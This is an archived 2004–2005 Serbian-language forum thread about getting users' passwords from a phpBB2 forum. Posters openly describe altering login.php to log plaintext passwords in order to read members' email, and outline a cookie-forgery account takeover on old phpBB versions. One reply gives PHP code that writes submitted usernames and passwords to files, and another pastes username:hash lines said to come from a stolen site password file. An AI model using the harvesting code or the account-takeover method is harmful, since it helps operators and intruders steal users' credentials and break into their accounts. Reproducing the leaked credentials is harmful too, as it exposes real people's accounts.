[es] - phpbb user passwordi uzimanje

Cr4x0r
ROOT

Član broj: 12673
Poruke: 225
*.as53.sa-ap.bih.net.ba.

Sajt: www.hepek.tk

Profil

^{16.11.2004. u 22:02}

znal ko postoji li nacin da pokupim user passworde u mom phpbb2 forumu, u kojoj se scripti nalazi login algoritam da iskljucim enkripciju ili da ubacim ejdnostavno da mi user i pass pri logovanju loguje :D , il znal neklo neke gotovo metode posto je md5 nemoguce provaliti

Kome nevalja zna đe su vrata!!

^{16.11.2004. u 22:02}

Lazarevac
Lazarevac

Član broj: 12355
Poruke: 272
*.absolutok.net.

Sajt: www.nesha.co.sr

Profil

Re: phpbb user passwordi uzimanje

^{16.11.2004. u 22:23}

I mene isto zanima, naime imao sam bazu korisnika u jednom CMS-u, kada sam presao na drugi zeleo bih da "postedim" korisnike ponovne registracije i u SQL bazu upucam njihove stare šifre,a li moram ih prvo znati...

Bolje je cutati i biti smatran budalom nego progovoriti i otkloniti sve nedoumice

^{16.11.2004. u 22:23}

Mister Big Time
Belgrade

Član broj: 15306
Poruke: 3882
*.vdial.verat.net.

Jabber: matrix@elitesecurity.org

Profil

Re: phpbb user passwordi uzimanje

^{17.11.2004. u 00:51}

cackaj malo po users SQL tabeli...

There are wars that can't be won.

IT'S ALL THE SAME,
ONLY THE NAMES WILL CHANGE.

^{17.11.2004. u 00:51}

Lazarevac
Lazarevac

Član broj: 12355
Poruke: 272
*.absolutok.net.

Sajt: www.nesha.co.sr

Profil

Re: phpbb user passwordi uzimanje

^{17.11.2004. u 18:35}

Čačkao sam po bazi i znam gde passwordi stoje
ali ne znam šta da radim u obliku ovom

287e9593819b2fcdf9945e7ccacd637d

nazalost imao sam losa iskustva da ovo moze da se provali, da li neko moze da pojasni kako?

Bolje je cutati i biti smatran budalom nego progovoriti i otkloniti sve nedoumice

^{17.11.2004. u 18:35}

Mitrović Srđan
bloodzero
Majur //: Šabac

Član broj: 10261
Poruke: 2692
212.62.46.*

Sajt: www.web2buzz.net

Profil

Re: phpbb user passwordi uzimanje

^{17.11.2004. u 19:32}

to se zove md5 ;P.made by Rivest,
ja mislim da se to nemore dekriptat jel je one-way hash algoritam

Tony Melendez:
http://video.google.com/videop...8517136815&q=tony+melendez

Ne Brže Od Života!
http://www.shouldiusetablesforlayout.com/ :)

^{17.11.2004. u 19:32}

Cr4x0r
ROOT

Član broj: 12673
Poruke: 225
*.as53.sa-ap.bih.net.ba.

Sajt: www.hepek.tk

Profil

Re: phpbb user passwordi uzimanje

^{18.11.2004. u 20:12}

e vako to je md5 algoritam motze se crackovati al ima par miliona kombinaciaj tj. to je mucenje md5cracker se ja mislim program zove il tako nesto,
ja sam prepravio login.php u phpbb 2.0.10 forumu tkao da kad se lik hoce da loguje , loguje mi njegov pass u jedan txt file zanci zaobice md5 kripciju ako nekom treba poslat cu mu

Kome nevalja zna đe su vrata!!

^{18.11.2004. u 20:12}

avetinja

Član broj: 29084
Poruke: 57
*.dialup.neobee.net.

Profil

Re: phpbb user passwordi uzimanje

^{18.11.2004. u 22:21}

he,he pacenici...

1. md5hash se moze razbiti Rainbowom... (shit)

2. posto pricate o phpBB koji je inace bugovit, starije verzije,
sve sto vam je potrebno je mozilla browser md5hash koji ocigledno imate i user ID kojeg zelite roknuti...
sve se radi preko cookiea pa ce vam ustvari trebati i notepad LOL

znaci, stavis md5has i U_id koji ste prethodno nabavili umesto onog koji je vec u cookie-u i konektijes se na sajt i voalaaaa :)

zbog jednostavnosti i otimanja sajta administratoru kao krajnjeg rezultata, ovo je veoma lame.

ps. da ste otrvorili temu na defaced, verovatno bi davno imali odgovore....

^{18.11.2004. u 22:21}

Lazarevac
Lazarevac

Član broj: 12355
Poruke: 272
*.absolutok.net.

Sajt: www.nesha.co.sr

Profil

Re: phpbb user passwordi uzimanje

^{19.11.2004. u 01:38}

Ja nisam rekao da želim nikoga hakovati, već da prevedem md5 u text radi pravljenja nove baze.Što se mene tiče pogrešno si zaključio.

Bolje je cutati i biti smatran budalom nego progovoriti i otkloniti sve nedoumice

^{19.11.2004. u 01:38}

mordor
Vladimir Cvetic
/dev/null

Član broj: 2797
Poruke: 421
*.beotel.net.

Jabber: cvele@default.co.yu
Sajt: www.knowbies.com

Profil

Re: phpbb user passwordi uzimanje

^{19.11.2004. u 02:10}

md5 je one way... tako da je jedini naci brute force

Blog

^{19.11.2004. u 02:10}

Cr4x0r
ROOT

Član broj: 12673
Poruke: 225
*.as53.sa-ap.bih.net.ba.

Sajt: www.hepek.tk

Profil

Re: phpbb user passwordi uzimanje

^{20.11.2004. u 16:44}

jest samo problem je sto ce ti koji dan dekriptirati neki slozeniji pass tj. jedan slozeniji pass !!! , ja zapravo samo logujem usere i passove posto su u 70% slucajeva opassovi od maila :D a posto mi ej dosadnocitam tude mailove :D

Kome nevalja zna đe su vrata!!

^{20.11.2004. u 16:44}

salle13
Pancevo

Član broj: 20106
Poruke: 24
*.applenet.co.yu.

Profil

Re: phpbb user passwordi uzimanje

^{29.11.2004. u 22:57}

svaki pass je moguce razbiti,samo je pitanje koliko treba vremena
najbolja zastita ti je da za pass upotrezis neke opasne kombinacije malih,velikih slova i brojeva tipa:

vza445e2:mvXAzv4Y.wmjA
vzc47956:DWsJwbTEI8or6
vza24d3o:gdRYWL8F4pGdo
vzc6937s:XdRhdeWZyahzc
vza151m1:Bb7kAFYl1xBx6
vza93dd8:AyE2KpU8FCmJg
vza93zzz:yedEmQ2gCqRpU
vza68crr:GF94WY1DWvLg6
vza77eo1:TIn577/NIW5kY
vzc18imo:jGShp/I4KpS7o
vza99c63:gJj3fOqEuZmQg

ovo je deo iz passfilea porno sajta (videosz)

znaci lozinka(pass)se razbija metodom brute forcea,i ako stavis lozinku kao
gJj3fOqEuZmQg potrajace da se dekriptuje
Ja licno koristim JRT program za te stvari sa ogromnim listama reci i izvlacim 70-80% lozinki(naravno ukoliko nije generisan pass-ali i za to ima resenja samo treba editovati pravila ;) )

Angels Team

^{29.11.2004. u 22:57}

Vojislav Milunovic
tata i mama me izdržavaju
Beograd, Srbija

Član broj: 25
Poruke: 2117
*.beotel.net.

Sajt: nonenone.net

Profil

Re: phpbb user passwordi uzimanje

^{30.11.2004. u 00:00}

http://www.openwall.com/john/ skini John the Ripper za *NIX/Win koji ti vec treba, stavi da se razbijaju password-i i idi slobodno na spavanje =)

poz...

Oni ostali, ja se raspao...
četničke pesme
get out of ma way you bi***...
Ne čitam pp, ako nekom trebam ima mail : chetnik(na)atlas(tačka)cz

^{30.11.2004. u 00:00}

set_X

Član broj: 32954
Poruke: 675
213.244.208.*

Profil

Re: phpbb user passwordi uzimanje

^{07.12.2004. u 17:57}

Pricaju ovi iz phpBB tima, kako je to nemoguce uraditi.
Heh, pa to je moguce, naravno, ali ako tolko hocete da saznate sifru, lepo dodajte kratki php kod...

Znaci kad se user loguje da se to pise npr. u neki txt ili php fajl.

Username i passwd onda mozete videti.

prosto...

ne znam tacno kako se zovu polja za username i login...ali mozda nesto ovako?:

Code:

<?php

$username= $_POST['ime_polja_za_username'];
$password= $_POST['ime_polja_za_pass'];
$username_2= "$username.php";

$konekcija= fopen("neka_putanja/$username_2", "w");
fwrite($konekcija, "<?php
//Username i pass korisnika

/$username //Ovo je username
/$password //Ovo je lozinka
?>";
fclose($konekcija);
?>

Tako bi trebao da bude taj kodic.

Napomena: kod sam napisao na brzinu, pa su greske moguce.(ali ne i sigurne :D)

poz.

^{07.12.2004. u 17:57}

DuX89
Nish

Član broj: 44972
Poruke: 35
*.bankerinter.net.

Sajt: www.kuliranje.net

Profil

Re: phpbb user passwordi uzimanje

^{22.01.2005. u 13:16}

Ma sve je to lepo... ali kako ja dea ubacim taj kod? gde da ga ubacim? ja pojma nemam nista sa tim ... ako moze neko da mi malo jednostavnije objasni kako da srusim neki phpbb forum bio bih veoma zahvalan!

^{22.01.2005. u 13:16}

DuX89
Nish

Član broj: 44972
Poruke: 35
*.bankerinter.net.

Sajt: www.kuliranje.net

Profil

Re: phpbb user passwordi uzimanje

^{22.01.2005. u 13:17}

ili ako mozda imate neki link za neki tutorial i tako to ...

^{22.01.2005. u 13:17}